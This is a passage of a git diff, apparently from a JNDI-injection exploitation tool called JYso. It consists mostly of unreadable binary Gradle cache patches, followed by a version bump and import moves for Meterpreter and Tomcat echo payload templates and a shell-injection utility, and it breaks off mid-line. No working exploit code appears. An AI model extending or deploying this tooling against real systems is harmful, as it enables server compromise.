zxN3`*;zKU6P%2Qo(2FF;ldQI)(-25~gHPE8+Cw>o&9CGgI?dd;tq7Ct=P+i+7FB$n_+x0b|^eLmFTuD50=(|M~6b0cMR3wjd1xFVgy}2>B06R zUfKxDU4+=M5%&KeVwX+SML|?|FsS2WQ^Nf82zUWcB3g}vEBzGW zw2{0ID?{A3ACA&i#LAJd_oorH2Z%L0i)cFvMs^LcCKg6^6VWmbhF*nOF$zlhClZs2 zh?{|gcM-8=)!1GY2M0SBw>*3__hm0p^^1o@u17RGNP4mNh$Zn5HlkJ@_o;r6e5(;V zCcxXg2GK78PU2cb(?i6aZ9*Jc=oJCi&@w`X- za}w1@9iik@Zj5uCzIoD_l$(RxZ{KJt#*K&T^&*-kA0}3xu>3FtxQyzP!^DSOL)0CC z>D@$}^e4s~fuu926-VG8-$sM#BV?G#U5RR<$VjCf#Do%}W%sc$pajzRjNdDgt zFMY*_u;+-nQsTgB5vP>G5voI6R|@Cx1>(6<(qDOq7eoA_&%bPK${-~k;R*35BO}=> zG>s{P^lLz@EQ7Eg5v#uD!&pQej8Ax%lc7qaMD^z`5G!-CSsSst9Ad4<_Of!gsx~6l zltX}6#4blcHK6wdxQyaZ4VnP=djewm1b9pY;=Q9V$z;S96>xA;5WOlOSSsRz3NnUm zLoApGS428ubp;v3wj;V$l3{EIV$e6-mF-3>uY?GD5Nj%77xp4*zlEz0QGMTx{3y%= z%{q!@$6!9$*uLc$jNE|v-}13aj#Skvl%xt0YSCV}9tYDrG#!1M*nDNkf+qw{&)FB# z7um)xDB1RIK<8P$Ups)*t>bU2&!3psUm1AukJg9w+yN=*2QxZ)e8JPu5xqU<>--OZ z^y~43`NuP-&WnpE8y-G6=#sDsHft$vKu?y1*!^`|uzF#$<>i%;nm^oIF8eX=Vc-l= zVW|lb%YPz=Sq$!4{}UwKzV6wVuTE-;dRuty{N<%r)BFdR7}pwf^4}jTiy=uq^H2JS pU8a#fQE7K5d<;Hg_)OsA@HK@`fv*{S&EYeJuZ2GCj@bh3{{gTjqk#Yb diff --git a/.gradle/8.7/executionHistory/executionHistory.lock b/.gradle/8.7/executionHistory/executionHistory.lock index b935e4d974862f8dd55cb49dd2440f90338ad69e..7d5b6b45cf39d881ea4f97dc5aaf350cd23876c8 100644 GIT binary patch literal 17 UcmZQ>dGjUQrSpIr0|e*;06S9z!2kdN literal 17 UcmZQ>dGjUQrSpIr0|aOS06R?ty8r+H diff --git a/.gradle/8.7/fileHashes/fileHashes.bin b/.gradle/8.7/fileHashes/fileHashes.bin index 4ac37255b4f74642930c034fecab35131ce231be..54a61ad055f2a9feb17eb8806353bf8376cbde78 100644 GIT binary patch delta 11132 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 An*aa+ diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock index b0f7351d866a4e96a9b03d181678bd229eee83d2..2b68264ec8f013d51b6dbe3a71f7608d875d422b 100644 GIT binary patch literal 17 VcmZR+d$zvH^H97W0~qlA0026L1!VvL literal 17 VcmZR+d$zvH^H97W0~qj%0suLn1c3km diff --git a/.gradle/8.7/fileHashes/resourceHashesCache.bin b/.gradle/8.7/fileHashes/resourceHashesCache.bin index cc54671b55e9a8d8b3b04596d1041eccff5324cb..3922616fc598ecbbd6e7bf836ec7c66a465d0775 100644 GIT binary patch delta 7079 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 delta 716 zcmX|9T}YE*7~T6#GbJo<`rc3M$1-ispKnerQqh#wCNJiTqiiw(xJdnLig!NVLHE(&)h9fpadNhx43gef~>!zm7y2 z^5$Mp*4u zH$`XUp1Y|lX%A6A@`s`zdFZ;QS z6!&ansIXeKd$;b_?|(=YoB0b(V`q1Ca=`arH`b4PueC+&>i(@}XEeEPzN91t<{>4~ znUyibhW2p_GfYS&XqnV9?&~{_Ilq~Sd0kCR?B~=7CnaAerLMxVl)m5=Sho8WVId2- sgjIMp39DI@s@DEpdaG_lK*dTq0#~cJnETf7I=Q*}3JGRUR)-V+0I_gISO5S3 diff --git a/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/.gradle/buildOutputCleanup/buildOutputCleanup.lock index 134bc9b4afcc2e75acb86e1a60d293b051ad7d6e..e6066d7aab28ff82f17ae4370bc64edd9ce937c4 100644 GIT binary patch literal 17 UcmZSHt{HzOWk&8J1_;Oj05yRG#sB~S literal 17 UcmZSHt{HzOWk&8J1_($505x_5y8r+H diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe index 80f6541b2228c424977d88409b879caf5d8ae3ad..f238e5b028b41019aefcf5f0e6d9103f7d8ae9d7 100644 GIT binary patch literal 8 PcmZQzVC+AfKEW0M2zLUA literal 8 PcmZQzVC-*jTk!?}2j>Fo diff --git a/build.gradle b/build.gradle index c77e0bc0..5bc2d5d7 100644 --- a/build.gradle +++ b/build.gradle @@ -101,7 +101,7 @@ dependencies { } group = 'org.example' -version = '1.3.0' +version = '1.3.1' description = 'JYso' java.sourceCompatibility = JavaVersion.VERSION_1_8 diff --git a/src/main/java/com/qi4l/jndi/controllers/BasicController.java b/src/main/java/com/qi4l/jndi/controllers/BasicController.java index d64ee4f9..a8c81add 100644 --- a/src/main/java/com/qi4l/jndi/controllers/BasicController.java +++ b/src/main/java/com/qi4l/jndi/controllers/BasicController.java @@ -9,7 +9,8 @@ import com.qi4l.jndi.gadgets.utils.Util; import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler; import com.qi4l.jndi.template.CommandTemplate; -import com.qi4l.jndi.template.echo.Meterpreter; +import com.qi4l.jndi.template.echoStatic.Meterpreter; +import com.qi4l.jndi.template.echoStatic.TomcatEcho; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; diff --git a/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java index fdecb2f0..476b99a6 100644 --- a/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java +++ b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java @@ -8,7 +8,6 @@ import com.qi4l.jndi.gadgets.utils.InjShell; import com.qi4l.jndi.gadgets.utils.Util; import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler; -import com.qi4l.jndi.template.echo.TomcatEchoJndi; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; @@ -31,7 +30,7 @@ public class TomcatBypassController implements LdapController { @Override public void 